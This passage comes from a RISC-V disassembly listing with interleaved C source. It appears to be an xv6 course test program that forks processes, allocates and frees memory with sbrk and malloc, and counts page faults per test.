a5,s2 456: 6699 lui a3,0x6 458: 40068693 addi a3,a3,1024 # 6400 <__global_pointer$+0x3c2f> memory_pointer[i]=i; 45c: c31c sw a5,0(a4) for (i=0; i<PGSIZE*num/sizeof(int); ++i){ 45e: 2785 addiw a5,a5,1 460: 0711 addi a4,a4,4 462: fed79de3 bne a5,a3,45c <double_sbrk_test_son+0xe6> if(i % PGSIZE == 0){ 466: 6a05 lui s4,0x1 468: 1a7d addi s4,s4,-1 printf("var in palce %d value is: %d\n",i, memory_pointer[i]); 46a: 00001a97 auipc s5,0x1 46e: 506a8a93 addi s5,s5,1286 # 1970 <malloc+0x2f2> for (i=0; i<PGSIZE*num/sizeof(int); ++i){ 472: 6999 lui s3,0x6 474: 40098993 addi s3,s3,1024 # 6400 <__global_pointer$+0x3c2f> 478: a029 j 482 <double_sbrk_test_son+0x10c> 47a: 2905 addiw s2,s2,1 47c: 0491 addi s1,s1,4 47e: 01390e63 beq s2,s3,49a <double_sbrk_test_son+0x124> if(i % PGSIZE == 0){ 482: 014977b3 and a5,s2,s4 486: 2781 sext.w a5,a5 488: fbed bnez a5,47a <double_sbrk_test_son+0x104> printf("var in palce %d value is: %d\n",i, memory_pointer[i]); 48a: 4090 lw a2,0(s1) 48c: 85ca mv a1,s2 48e: 8556 mv a0,s5 490: 00001097 auipc ra,0x1 494: 130080e7 jalr 304(ra) # 15c0 <printf> 498: b7cd j 47a <double_sbrk_test_son+0x104> printf("finished second alloc, giving values, and printing\n"); 49a: 00001517 auipc a0,0x1 49e: 4f650513 addi a0,a0,1270 # 1990 <malloc+0x312> 4a2: 00001097 auipc ra,0x1 4a6: 11e080e7 jalr 286(ra) # 15c0 <printf> sbrk(-PGSIZE*num); 4aa: 751d lui a0,0xfffe7 4ac: 00001097 auipc ra,0x1 4b0: e1c080e7 jalr -484(ra) # 12c8 <sbrk> pgf = setAndGetPageFaultsNum(-1); 4b4: 557d li a0,-1 4b6: 00001097 auipc ra,0x1 4ba: e2a080e7 jalr -470(ra) # 12e0 <setAndGetPageFaultsNum> 4be: faa42e23 sw a0,-68(s0) printf("finished second dealloc\n"); 4c2: 00001517 auipc a0,0x1 4c6: 50650513 addi a0,a0,1286 # 19c8 <malloc+0x34a> 4ca: 00001097 auipc ra,0x1 4ce: 0f6080e7 jalr 246(ra) # 15c0 <printf> exit(pgf); 4d2: fbc42503 lw a0,-68(s0) 4d6: 00001097 auipc ra,0x1 4da: d6a080e7 jalr -662(ra) # 1240 <exit> 00000000000004de <complicated_sbrk>: void complicated_sbrk(char* test_name){ 4de: 711d addi sp,sp,-96 4e0: ec86 sd ra,88(sp) 4e2: e8a2 sd s0,80(sp) 4e4: e4a6 sd s1,72(sp) 4e6: e0ca sd s2,64(sp) 4e8: fc4e sd s3,56(sp) 4ea: f852 sd s4,48(sp) 4ec: f456 sd s5,40(sp) 4ee: f05a sd s6,32(sp) 4f0: ec5e sd s7,24(sp) 4f2: 1080 addi s0,sp,96 4f4: 84aa mv s1,a0 setAndGetPageFaultsNum(0); // sets num of pagefaults to be zero 4f6: 4501 li a0,0 4f8: 00001097 auipc ra,0x1 4fc: de8080e7 jalr -536(ra) # 12e0 <setAndGetPageFaultsNum> PRINT_START(test_name); 500: 85a6 mv a1,s1 502: 00001517 auipc a0,0x1 506: 26650513 addi a0,a0,614 # 1768 <malloc+0xea> 50a: 00001097 auipc ra,0x1 50e: 0b6080e7 jalr 182(ra) # 15c0 <printf> int pgf; int i=0; int num = 20; int cpid = fork(); 512: 00001097 auipc ra,0x1 516: d26080e7 jalr -730(ra) # 1238 <fork> if (cpid){//father 51a: c939 beqz a0,570 <complicated_sbrk+0x92> wait(&pgf); 51c: fac40513 addi a0,s0,-84 520: 00001097 auipc ra,0x1 524: d28080e7 jalr -728(ra) # 1248 <wait> printf("chiled deallocated\n"); sonAndGrandPgf = sonAndGrandPgf + setAndGetPageFaultsNum(-1); exit(sonAndGrandPgf); } } test_name_array[4] = test_name; 528: 00002797 auipc a5,0x2 52c: ac078793 addi a5,a5,-1344 # 1fe8 <test_name_array> 530: f384 sd s1,32(a5) pgf_array[4] = pgf; 532: fac42603 lw a2,-84(s0) 536: 0ac7a823 sw a2,176(a5) sum_value= sum_value+pgf; 53a: 00002717 auipc a4,0x2 53e: a9e70713 addi a4,a4,-1378 # 1fd8 <sum_value> 542: 431c lw a5,0(a4) 544: 9fb1 addw a5,a5,a2 546: c31c sw a5,0(a4) PRINT_END(test_name, pgf); 548: 85a6 mv a1,s1 54a: 00001517 auipc a0,0x1 54e: 25650513 addi a0,a0,598 # 17a0 <malloc+0x122> 552: 00001097 auipc ra,0x1 556: 06e080e7 jalr 110(ra) # 15c0 <printf> } 55a: 60e6 ld ra,88(sp) 55c: 6446 ld s0,80(sp) 55e: 64a6 ld s1,72(sp) 560: 6906 ld s2,64(sp) 562: 79e2 ld s3,56(sp) 564: 7a42 ld s4,48(sp) 566: 7aa2 ld s5,40(sp) 568: 7b02 ld s6,32(sp) 56a: 6be2 ld s7,24(sp) 56c: 6125 addi sp,sp,96 56e: 8082 ret 570: 89aa mv s3,a0 int sonAndGrandPgf=0; 572: fa042423 sw zero,-88(s0) int * memory_pointer = (int*)(sbrk(PGSIZE*num)); 576: 6551 lui a0,0x14 578: 00001097 auipc ra,0x1 57c: d50080e7 jalr -688(ra) # 12c8 <sbrk> 580: 892a mv s2,a0 for (i=0; i<PGSIZE*num/sizeof(int); ++i){ 582: 6ad1 lui s5,0x14 584: 9aaa add s5,s5,a0 int * memory_pointer = (int*)(sbrk(PGSIZE*num)); 586: 87aa mv a5,a0 memory_pointer[i]=30; 588: 4779 li a4,30 58a: c398 sw a4,0(a5) for (i=0; i<PGSIZE*num/sizeof(int); ++i){ 58c: 0791 addi a5,a5,4 58e: ff579ee3 bne a5,s5,58a <complicated_sbrk+0xac> 592: 8a4a mv s4,s2 for (i=0; i<PGSIZE*num/sizeof(int); ++i){ 594: 84ce mv s1,s3 printf("num %d: memory_pointer[i]=%d\n", i*4/PGSIZE, memory_pointer[i]); 596: 00001b97 auipc s7,0x1 59a: 452b8b93 addi s7,s7,1106 # 19e8 <malloc+0x36a> for (i=0; i<PGSIZE*num/sizeof(int); ++i){ 59e: 6b15 lui s6,0x5 5a0: a029 j 5aa <complicated_sbrk+0xcc> 5a2: 2485 addiw s1,s1,1 5a4: 0a11 addi s4,s4,4 5a6: 03648463 beq s1,s6,5ce <complicated_sbrk+0xf0> if(i%(PGSIZE/sizeof(int)) == 0) 5aa: 3ff4f793 andi a5,s1,1023 5ae: fbf5 bnez a5,5a2 <complicated_sbrk+0xc4> printf("num %d: memory_pointer[i]=%d\n", i*4/PGSIZE, memory_pointer[i]); 5b0: 41f4d59b sraiw a1,s1,0x1f 5b4: 0165d59b srliw a1,a1,0x16 5b8: 9da5 addw a1,a1,s1 5ba: 000a2603 lw a2,0(s4) # 1000 <strcmp+0x12> 5be: 40a5d59b sraiw a1,a1,0xa 5c2: 855e mv a0,s7 5c4: 00001097 auipc ra,0x1 5c8: ffc080e7 jalr -4(ra) # 15c0 <printf> 5cc: bfd9 j 5a2 <complicated_sbrk+0xc4> printf("finished first alloc and giving value\n"); 5ce: 00001517 auipc a0,0x1 5d2: 36250513 addi a0,a0,866 # 1930 <malloc+0x2b2> 5d6: 00001097 auipc ra,0x1 5da: fea080e7 jalr -22(ra) # 15c0 <printf> int cpid2 = fork(); 5de: 00001097 auipc ra,0x1 5e2: c5a080e7 jalr -934(ra) # 1238 <fork> 5e6: 84aa mv s1,a0 printf("finished second fork\n"); 5e8: 00001517 auipc a0,0x1 5ec: 42050513 addi a0,a0,1056 # 1a08 <malloc+0x38a> 5f0: 00001097 auipc ra,0x1 5f4: fd0080e7 jalr -48(ra) # 15c0 <printf> if (!cpid2){//grandchild 5f8: 10049963 bnez s1,70a <complicated_sbrk+0x22c> printf("grandchild prints values got from son:\n"); 5fc: 00001517 auipc a0,0x1 600: 42450513 addi a0,a0,1060 # 1a20 <malloc+0x3a2> 604: 00001097 auipc ra,0x1 608: fbc080e7 jalr -68(ra) # 15c0 <printf> 60c: 8a4a mv s4,s2 for (i=0; i<PGSIZE*num/sizeof(int); ++i){ 60e: 89a6 mv s3,s1 printf("num %d: memory_pointer[i]=%d\n", i*4/PGSIZE, memory_pointer[i]); 610: 00001b97 auipc s7,0x1 614: 3d8b8b93 addi s7,s7,984 # 19e8 <malloc+0x36a> for (i=0; i<PGSIZE*num/sizeof(int); ++i){ 618: 6b15 lui s6,0x5 61a: a029 j 624 <complicated_sbrk+0x146> 61c: 2985 addiw s3,s3,1 61e: 0a11 addi s4,s4,4 620: 03698563 beq s3,s6,64a <complicated_sbrk+0x16c> if(i%(PGSIZE/sizeof(int)) == 0) 624: 3ff9f793 andi a5,s3,1023 628: fbf5 bnez a5,61c <complicated_sbrk+0x13e> printf("num %d: memory_pointer[i]=%d\n", i*4/PGSIZE, memory_pointer[i]); 62a: 41f9d59b sraiw a1,s3,0x1f 62e: 0165d59b srliw a1,a1,0x16 632: 013585bb addw a1,a1,s3 636: 000a2603 lw a2,0(s4) 63a: 40a5d59b sraiw a1,a1,0xa 63e: 855e mv a0,s7 640: 00001097 auipc ra,0x1 644: f80080e7 jalr -128(ra) # 15c0 <printf> 648: bfd1 j 61c <complicated_sbrk+0x13e> printf("grandchild about to reassign values\n"); 64a: 00001517 auipc a0,0x1 64e: 3fe50513 addi a0,a0,1022 # 1a48 <malloc+0x3ca> 652: 00001097 auipc ra,0x1 656: f6e080e7 jalr -146(ra) # 15c0 <printf> 65a: 87ca mv a5,s2 memory_pointer[i]=12; 65c: 4731 li a4,12 65e: c398 sw a4,0(a5) for (i=0; i<PGSIZE*num/sizeof(int); ++i){ 660: 0791 addi a5,a5,4 662: ff579ee3 bne a5,s5,65e <complicated_sbrk+0x180> 666: 89ca mv s3,s2 printf("num %d: memory_pointer[i]=%d\n", i*4/PGSIZE, memory_pointer[i]); 668: 00001b17 auipc s6,0x1 66c: 380b0b13 addi s6,s6,896 # 19e8 <malloc+0x36a> for (i=0; i<PGSIZE*num/sizeof(int); ++i){ 670: 6a15 lui s4,0x5 672: a029 j 67c <complicated_sbrk+0x19e> 674: 2485 addiw s1,s1,1 676: 0991 addi s3,s3,4 678: 03448463 beq s1,s4,6a0 <complicated_sbrk+0x1c2> if(i%(PGSIZE/sizeof(int)) == 0) 67c: 3ff4f793 andi a5,s1,1023 680: fbf5 bnez a5,674 <complicated_sbrk+0x196> printf("num %d: memory_pointer[i]=%d\n", i*4/PGSIZE, memory_pointer[i]); 682: 41f4d59b sraiw a1,s1,0x1f 686: 0165d59b srliw a1,a1,0x16 68a: 9da5 addw a1,a1,s1 68c: 0009a603 lw a2,0(s3) 690: 40a5d59b sraiw a1,a1,0xa 694: 855a mv a0,s6 696: 00001097 auipc ra,0x1 69a: f2a080e7 jalr -214(ra) # 15c0 <printf> 69e: bfd9 j 674 <complicated_sbrk+0x196> printf("\ngrandchild about to deallocate the %d pages that were allocated by his parent and inherited to child\n", num); 6a0: 45d1 li a1,20 6a2: 00001517 auipc a0,0x1 6a6: 3ce50513 addi a0,a0,974 # 1a70 <malloc+0x3f2> 6aa: 00001097 auipc ra,0x1 6ae: f16080e7 jalr -234(ra) # 15c0 <printf> sbrk(-PGSIZE*num); 6b2: 7531 lui a0,0xfffec 6b4: 00001097 auipc ra,0x1 6b8: c14080e7 jalr -1004(ra) # 12c8 <sbrk> printf("granchiled deallocated successfully => inheritance works fine\n"); 6bc: 00001517 auipc a0,0x1 6c0: 41c50513 addi a0,a0,1052 # 1ad8 <malloc+0x45a> 6c4: 00001097 auipc ra,0x1 6c8: efc080e7 jalr -260(ra) # 15c0 <printf> printf("about to access memory we deallocated and therefore results in segmentation fault\n"); 6cc: 00001517 auipc a0,0x1 6d0: 44c50513 addi a0,a0,1100 # 1b18 <malloc+0x49a> 6d4: 00001097 auipc ra,0x1 6d8: eec080e7 jalr -276(ra) # 15c0 <printf> memory_pointer[i]=1; 6dc: 4785 li a5,1 6de: 00f92023 sw a5,0(s2) for (i=0; i<PGSIZE*num/sizeof(int); i++){ 6e2: 0911 addi s2,s2,4 6e4: ff591de3 bne s2,s5,6de <complicated_sbrk+0x200> printf("if we print this its bad! -> means we didn't really dealloc the pages\n"); 6e8: 00001517 auipc a0,0x1 6ec: 48850513 addi a0,a0,1160 # 1b70 <malloc+0x4f2> 6f0: 00001097 auipc ra,0x1 6f4: ed0080e7 jalr -304(ra) # 15c0 <printf> int pgf2 = setAndGetPageFaultsNum(-1); 6f8: 557d li a0,-1 6fa: 00001097 auipc ra,0x1 6fe: be6080e7 jalr -1050(ra) # 12e0 <setAndGetPageFaultsNum> exit(pgf2); //to keep track of total num of page faults 702: 00001097 auipc ra,0x1 706: b3e080e7 jalr -1218(ra) # 1240 <exit> wait(&sonAndGrandPgf); 70a: fa840513 addi a0,s0,-88 70e: 00001097 auipc ra,0x1 712: b3a080e7 jalr -1222(ra) # 1248 <wait> printf("child about to print values and make sure grandchild did not change them, \nwhich means it should not be 12\n"); 716: 00001517 auipc a0,0x1 71a: 4a250513 addi a0,a0,1186 # 1bb8 <malloc+0x53a> 71e: 00001097 auipc ra,0x1 722: ea2080e7 jalr -350(ra) # 15c0 <printf> printf("num %d: memory_pointer[i]=%d\n", i*4/PGSIZE, memory_pointer[i]); 726: 00001a17 auipc s4,0x1 72a: 2c2a0a13 addi s4,s4,706 # 19e8 <malloc+0x36a> for (i=0; i<PGSIZE*num/sizeof(int); ++i){ 72e: 6495 lui s1,0x5 730: a029 j 73a <complicated_sbrk+0x25c> 732: 2985 addiw s3,s3,1 734: 0911 addi s2,s2,4 736: 02998563 beq s3,s1,760 <complicated_sbrk+0x282> if(i%(PGSIZE/sizeof(int)) == 0) 73a: 3ff9f793 andi a5,s3,1023 73e: fbf5 bnez a5,732 <complicated_sbrk+0x254> printf("num %d: memory_pointer[i]=%d\n", i*4/PGSIZE, memory_pointer[i]); 740: 41f9d59b sraiw a1,s3,0x1f 744: 0165d59b srliw a1,a1,0x16 748: 013585bb addw a1,a1,s3 74c: 00092603 lw a2,0(s2) 750: 40a5d59b sraiw a1,a1,0xa 754: 8552 mv a0,s4 756: 00001097 auipc ra,0x1 75a: e6a080e7 jalr -406(ra) # 15c0 <printf> 75e: bfd1 j 732 <complicated_sbrk+0x254> sbrk(-PGSIZE*num); 760: 7531 lui a0,0xfffec 762: 00001097 auipc ra,0x1 766: b66080e7 jalr -1178(ra) # 12c8 <sbrk> printf("chiled deallocated\n"); 76a: 00001517 auipc a0,0x1 76e: 4be50513 addi a0,a0,1214 # 1c28 <malloc+0x5aa> 772: 00001097 auipc ra,0x1 776: e4e080e7 jalr -434(ra) # 15c0 <printf> sonAndGrandPgf = sonAndGrandPgf + setAndGetPageFaultsNum(-1); 77a: 557d li a0,-1 77c: 00001097 auipc ra,0x1 780: b64080e7 jalr -1180(ra) # 12e0 <setAndGetPageFaultsNum> 784: fa842783 lw a5,-88(s0) 788: 9d3d addw a0,a0,a5 78a: faa42423 sw a0,-88(s0) exit(sonAndGrandPgf); 78e: 2501 sext.w a0,a0 790: 00001097 auipc ra,0x1 794: ab0080e7 jalr -1360(ra) # 1240 <exit> 0000000000000798 <maxpages_switch>: void maxpages_switch(char* test_name){ 798: 7179 addi sp,sp,-48 79a: f406 sd ra,40(sp) 79c: f022 sd s0,32(sp) 79e: ec26 sd s1,24(sp) 7a0: 1800 addi s0,sp,48 7a2: 84aa mv s1,a0 setAndGetPageFaultsNum(0); // sets num of pagefaults to be zero 7a4: 4501 li a0,0 7a6: 00001097 auipc ra,0x1 7aa: b3a080e7 jalr -1222(ra) # 12e0 <setAndGetPageFaultsNum> PRINT_START(test_name); 7ae: 85a6 mv a1,s1 7b0: 00001517 auipc a0,0x1 7b4: fb850513 addi a0,a0,-72 # 1768 <malloc+0xea> 7b8: 00001097 auipc ra,0x1 7bc: e08080e7 jalr -504(ra) # 15c0 <printf> int pgf; int i=0; int num=28; int cpid = fork(); 7c0: 00001097 auipc ra,0x1 7c4: a78080e7 jalr -1416(ra) # 1238 <fork> if (cpid){//father 7c8: c529 beqz a0,812 <maxpages_switch+0x7a> wait(&pgf); 7ca: fdc40513 addi a0,s0,-36 7ce: 00001097 auipc ra,0x1 7d2: a7a080e7 jalr -1414(ra) # 1248 <wait> sbrk(-PGSIZE*num); printf("finished free\n"); pgf = setAndGetPageFaultsNum(-1); exit(pgf); } test_name_array[5] = test_name; 7d6: 00002797 auipc a5,0x2 7da: 81278793 addi a5,a5,-2030 # 1fe8 <test_name_array> 7de: f784 sd s1,40(a5) pgf_array[5] = pgf; 7e0: fdc42603 lw a2,-36(s0) 7e4: 0ac7aa23 sw a2,180(a5) sum_value= sum_value+pgf; 7e8: 00001717 auipc a4,0x1 7ec: 7f070713 addi a4,a4,2032 # 1fd8 <sum_value> 7f0: 431c lw a5,0(a4) 7f2: 9fb1 addw a5,a5,a2 7f4: c31c sw a5,0(a4) PRINT_END(test_name, pgf); 7f6: 85a6 mv a1,s1 7f8: 00001517 auipc a0,0x1 7fc: fa850513 addi a0,a0,-88 # 17a0 <malloc+0x122> 800: 00001097 auipc ra,0x1 804: dc0080e7 jalr -576(ra) # 15c0 <printf> } 808: 70a2 ld ra,40(sp) 80a: 7402 ld s0,32(sp) 80c: 64e2 ld s1,24(sp) 80e: 6145 addi sp,sp,48 810: 8082 ret int * memory_pointer = (int*)(sbrk(PGSIZE*num)); 812: 6571 lui a0,0x1c 814: 00001097 auipc ra,0x1 818: ab4080e7 jalr -1356(ra) # 12c8 <sbrk> 81c: 87aa mv a5,a0 for (i=0; i<PGSIZE*num/sizeof(int); ++i){ 81e: 6771 lui a4,0x1c 820: 972a add a4,a4,a0 memory_pointer[i]=0; 822: 0007a023 sw zero,0(a5) for (i=0; i<PGSIZE*num/sizeof(int); ++i){ 826: 0791 addi a5,a5,4 828: fee79de3 bne a5,a4,822 <maxpages_switch+0x8a> printf("finished alloc with sbrk and set values\n"); 82c: 00001517 auipc a0,0x1 830: 03450513 addi a0,a0,52 # 1860 <malloc+0x1e2> 834: 00001097 auipc ra,0x1 838: d8c080e7 jalr -628(ra) # 15c0 <printf> sbrk(-PGSIZE*num); 83c: 7511 lui a0,0xfffe4 83e: 00001097 auipc ra,0x1 842: a8a080e7 jalr -1398(ra) # 12c8 <sbrk> printf("finished free\n"); 846: 00001517 auipc a0,0x1 84a: 04a50513 addi a0,a0,74 # 1890 <malloc+0x212> 84e: 00001097 auipc ra,0x1 852: d72080e7 jalr -654(ra) # 15c0 <printf> pgf = setAndGetPageFaultsNum(-1); 856: 557d li a0,-1 858: 00001097 auipc ra,0x1 85c: a88080e7 jalr -1400(ra) # 12e0 <setAndGetPageFaultsNum> 860: fca42e23 sw a0,-36(s0) exit(pgf); 864: 00001097 auipc ra,0x1 868: 9dc080e7 jalr -1572(ra) # 1240 <exit> 000000000000086c <malloc_test_simple>: void malloc_test_simple(char* test_name){ 86c: 7179 addi sp,sp,-48 86e: f406 sd ra,40(sp) 870: f022 sd s0,32(sp) 872: ec26 sd s1,24(sp) 874: 1800 addi s0,sp,48 876: 84aa mv s1,a0 setAndGetPageFaultsNum(0); // sets num of pagefaults to be zero 878: 4501 li a0,0 87a: 00001097 auipc ra,0x1 87e: a66080e7 jalr -1434(ra) # 12e0 <setAndGetPageFaultsNum> PRINT_START(test_name); 882: 85a6 mv a1,s1 884: 00001517 auipc a0,0x1 888: ee450513 addi a0,a0,-284 # 1768 <malloc+0xea> 88c: 00001097 auipc ra,0x1 890: d34080e7 jalr -716(ra) # 15c0 <printf> int pgf; int i=0; int num=20; int cpid = fork(); 894: 00001097 auipc ra,0x1 898: 9a4080e7 jalr -1628(ra) # 1238 <fork> if (cpid){//father 89c: c529 beqz a0,8e6 <malloc_test_simple+0x7a> wait(&pgf); 89e: fdc40513 addi a0,s0,-36 8a2: 00001097 auipc ra,0x1 8a6: 9a6080e7 jalr -1626(ra) # 1248 <wait> free(memory_pointer); printf("finished free\n"); pgf = setAndGetPageFaultsNum(-1); exit(pgf); } test_name_array[6] = test_name; 8aa: 00001797 auipc a5,0x1 8ae: 73e78793 addi a5,a5,1854 # 1fe8 <test_name_array> 8b2: fb84 sd s1,48(a5) pgf_array[6] = pgf; 8b4: fdc42603 lw a2,-36(s0) 8b8: 0ac7ac23 sw a2,184(a5) sum_value= sum_value+pgf; 8bc: 00001717 auipc a4,0x1 8c0: 71c70713 addi a4,a4,1820 # 1fd8 <sum_value> 8c4: 431c lw a5,0(a4) 8c6: 9fb1 addw a5,a5,a2 8c8: c31c sw a5,0(a4) PRINT_END(test_name, pgf); 8ca: 85a6 mv a1,s1 8cc: 00001517 auipc a0,0x1 8d0: ed450513 addi a0,a0,-300 # 17a0 <malloc+0x122> 8d4: 00001097 auipc ra,0x1 8d8: cec080e7 jalr -788(ra) # 15c0 <printf> } 8dc: 70a2 ld ra,40(sp) 8de: 7402 ld s0,32(sp) 8e0: 64e2 ld s1,24(sp) 8e2: 6145 addi sp,sp,48 8e4: 8082 ret int * memory_pointer = (int*)(malloc(PGSIZE*num)); 8e6: 6551 lui a0,0x14 8e8: 00001097 auipc ra,0x1 8ec: d96080e7 jalr -618(ra) # 167e <malloc> 8f0: 84aa mv s1,a0 printf("finished alloc with malloc\n"); 8f2: 00001517 auipc a0,0x1 8f6: 34e50513 addi a0,a0,846 # 1c40 <malloc+0x5c2> 8fa: 00001097 auipc ra,0x1 8fe: cc6080e7 jalr -826(ra) # 15c0 <printf> for (i=0; i<PGSIZE*num/sizeof(int); ++i){ 902: 87a6 mv a5,s1 904: 6751 lui a4,0x14 906: 9726 add a4,a4,s1 memory_pointer[i]=3; 908: 468d li a3,3 90a: c394 sw a3,0(a5) for (i=0; i<PGSIZE*num/sizeof(int); ++i){ 90c: 0791 addi a5,a5,4 90e: fee79ee3 bne a5,a4,90a <malloc_test_simple+0x9e> printf("\nfinished set values\n"); 912: 00001517 auipc a0,0x1 916: 34e50513 addi a0,a0,846 # 1c60 <malloc+0x5e2> 91a: 00001097 auipc ra,0x1 91e: ca6080e7 jalr -858(ra) # 15c0 <printf> free(memory_pointer); 922: 8526 mv a0,s1 924: 00001097 auipc ra,0x1 928: cd2080e7 jalr -814(ra) # 15f6 <free> printf("finished free\n"); 92c: 00001517 auipc a0,0x1 930: f6450513 addi a0,a0,-156 # 1890 <malloc+0x212> 934: 00001097 auipc ra,0x1 938: c8c080e7 jalr -884(ra) # 15c0 <printf> pgf = setAndGetPageFaultsNum(-1); 93c: 557d li a0,-1 93e: 00001097 auipc ra,0x1 942: 9a2080e7 jalr -1630(ra) # 12e0 <setAndGetPageFaultsNum> 946: fca42e23 sw a0,-36(s0) exit(pgf); 94a: 00001097 auipc ra,0x1 94e: 8f6080e7 jalr -1802(ra) # 1240 <exit> 0000000000000952 <malloc_test_not_multiply_of_PGSIZE>: void malloc_test_not_multiply_of_PGSIZE(char* test_name){ 952: 7179 addi sp,sp,-48 954: f406 sd ra,40(sp) 956: f022 sd s0,32(sp) 958: ec26 sd s1,24(sp) 95a: e84a sd s2,16(sp) 95c: 1800 addi s0,sp,48 95e: 84aa mv s1,a0 setAndGetPageFaultsNum(0); // sets num of pagefaults to be zero 960: 4501 li a0,0 962: 00001097 auipc ra,0x1 966: 97e080e7 jalr -1666(ra) # 12e0 <setAndGetPageFaultsNum> PRINT_START(test_name); 96a: 85a6 mv a1,s1 96c: 00001517 auipc a0,0x1 970: dfc50513 addi a0,a0,-516 # 1768 <malloc+0xea> 974: 00001097 auipc ra,0x1 978: c4c080e7 jalr -948(ra) # 15c0 <printf> int pgf; int i=0; int num=20; int cpid = fork(); 97c: 00001097 auipc ra,0x1 980: 8bc080e7 jalr -1860(ra) # 1238 <fork> if (cpid){//father 984: c531 beqz a0,9d0 <malloc_test_not_multiply_of_PGSIZE+0x7e> wait(&pgf); 986: fdc40513 addi a0,s0,-36 98a: 00001097 auipc ra,0x1 98e: 8be080e7 jalr -1858(ra) # 1248 <wait> free(memory_pointer); printf("finished free\n"); pgf = setAndGetPageFaultsNum(-1); exit(pgf); } test_name_array[7] = test_name; 992: 00001797 auipc a5,0x1 996: 65678793 addi a5,a5,1622 # 1fe8 <test_name_array> 99a: ff84 sd s1,56(a5) pgf_array[7] = pgf; 99c: fdc42603 lw a2,-36(s0) 9a0: 0ac7ae23 sw a2,188(a5) sum_value= sum_value+pgf; 9a4: 00001717 auipc a4,0x1 9a8: 63470713 addi a4,a4,1588 # 1fd8 <sum_value> 9ac: 431c lw a5,0(a4) 9ae: 9fb1 addw a5,a5,a2 9b0: c31c sw a5,0(a4) PRINT_END(test_name, pgf); 9b2: 85a6 mv a1,s1 9b4: 00001517 auipc a0,0x1 9b8: dec50513 addi a0,a0,-532 # 17a0 <malloc+0x122> 9bc: 00001097 auipc ra,0x1 9c0: c04080e7 jalr -1020(ra) # 15c0 <printf> } 9c4: 70a2 ld ra,40(sp) 9c6: 7402 ld s0,32(sp) 9c8: 64e2 ld s1,24(sp) 9ca: 6942 ld s2,16(sp) 9cc: 6145 addi sp,sp,48 9ce: 8082 ret int * memory_pointer = (int*)(malloc(PGSIZE*num)+8); 9d0: 6551 lui a0,0x14 9d2: 00001097 auipc ra,0x1 9d6: cac080e7 jalr -852(ra) # 167e <malloc> 9da: 84aa mv s1,a0 9dc: 00850913 addi s2,a0,8 # 14008 <__global_pointer$+0x11837> printf("finished alloc with malloc\n"); 9e0: 00001517 auipc a0,0x1 9e4: 26050513 addi a0,a0,608 # 1c40 <malloc+0x5c2> 9e8: 00001097 auipc ra,0x1 9ec: bd8080e7 jalr -1064(ra) # 15c0 <printf> for (i=0; i<PGSIZE*num/sizeof(int) +2; ++i){ 9f0: 87ca mv a5,s2 9f2: 6751 lui a4,0x14 9f4: 0741 addi a4,a4,16 9f6: 9726 add a4,a4,s1 memory_pointer[i]=3; 9f8: 468d li a3,3 9fa: c394 sw a3,0(a5) for (i=0; i<PGSIZE*num/sizeof(int) +2; ++i){ 9fc: 0791 addi a5,a5,4 9fe: fee79ee3 bne a5,a4,9fa <malloc_test_not_multiply_of_PGSIZE+0xa8> printf("memory_pointer[malloc(PGSIZE*num)+7]=%d ",memory_pointer[i-1]); a02: 67d1 lui a5,0x14 a04: 94be add s1,s1,a5 a06: 44cc lw a1,12(s1) a08: 00001517 auipc a0,0x1 a0c: 27050513 addi a0,a0,624 # 1c78 <malloc+0x5fa> a10: 00001097 auipc ra,0x1 a14: bb0080e7 jalr -1104(ra) # 15c0 <printf> printf("memory_pointer[malloc(PGSIZE*num)+3]=%d ",memory_pointer[i-2]); a18: 448c lw a1,8(s1) a1a: 00001517 auipc a0,0x1 a1e: 28e50513 addi a0,a0,654 # 1ca8 <malloc+0x62a> a22: 00001097 auipc ra,0x1 a26: b9e080e7 jalr -1122(ra) # 15c0 <printf> printf("\nfinished set values\n"); a2a: 00001517 auipc a0,0x1 a2e: 23650513 addi a0,a0,566 # 1c60 <malloc+0x5e2> a32: 00001097 auipc ra,0x1 a36: b8e080e7 jalr -1138(ra) # 15c0 <printf> free(memory_pointer); a3a: 854a mv a0,s2 a3c: 00001097 auipc ra,0x1 a40: bba080e7 jalr -1094(ra) # 15f6 <free> printf("finished free\n"); a44: 00001517 auipc a0,0x1 a48: e4c50513 addi a0,a0,-436 # 1890 <malloc+0x212> a4c: 00001097 auipc ra,0x1 a50: b74080e7 jalr -1164(ra) # 15c0 <printf> pgf = setAndGetPageFaultsNum(-1); a54: 557d li a0,-1 a56: 00001097 auipc ra,0x1 a5a: 88a080e7 jalr -1910(ra) # 12e0 <setAndGetPageFaultsNum> a5e: fca42e23 sw a0,-36(s0) exit(pgf); a62: 00000097 auipc ra,0x0 a66: 7de080e7 jalr 2014(ra) # 1240 <exit> 0000000000000a6a <malloc_test_complicated>: void malloc_test_complicated(char* test_name){ a6a: 7179 addi sp,sp,-48 a6c: f406 sd ra,40(sp) a6e: f022 sd s0,32(sp) a70: ec26 sd s1,24(sp) a72: e84a sd s2,16(sp) a74: 1800 addi s0,sp,48 a76: 892a mv s2,a0 setAndGetPageFaultsNum(0); // sets num of pagefaults to be zero a78: 4501 li a0,0 a7a: 00001097 auipc ra,0x1 a7e: 866080e7 jalr -1946(ra) # 12e0 <setAndGetPageFaultsNum> PRINT_START(test_name); a82: 85ca mv a1,s2 a84: 00001517 auipc a0,0x1 a88: ce450513 addi a0,a0,-796 # 1768 <malloc+0xea> a8c: 00001097 auipc ra,0x1 a90: b34080e7 jalr -1228(ra) # 15c0 <printf> int pgf; int i=0; int num = 25; int cpid = fork(); a94: 00000097 auipc ra,0x0 a98: 7a4080e7 jalr 1956(ra) # 1238 <fork> if (cpid){//father a9c: c539 beqz a0,aea <malloc_test_complicated+0x80> wait(&pgf); a9e: fdc40513 addi a0,s0,-36 aa2: 00000097 auipc ra,0x0 aa6: 7a6080e7 jalr 1958(ra) # 1248 <wait> //printf("chiled deallocated\n"); sonAndGrandPgf = sonAndGrandPgf + setAndGetPageFaultsNum(-1); exit(sonAndGrandPgf); } } test_name_array[8] = test_name; aaa: 00001797 auipc a5,0x1 aae: 53e78793 addi a5,a5,1342 # 1fe8 <test_name_array> ab2: 0527b023 sd s2,64(a5) pgf_array[8] = pgf; ab6: fdc42603 lw a2,-36(s0) aba: 0cc7a023 sw a2,192(a5) sum_value= sum_value+pgf; abe: 00001717 auipc a4,0x1 ac2: 51a70713 addi a4,a4,1306 # 1fd8 <sum_value> ac6: 431c lw a5,0(a4) ac8: 9fb1 addw a5,a5,a2 aca: c31c sw a5,0(a4) PRINT_END(test_name, pgf); acc: 85ca mv a1,s2 ace: 00001517 auipc a0,0x1 ad2: cd250513 addi a0,a0,-814 # 17a0 <malloc+0x122> 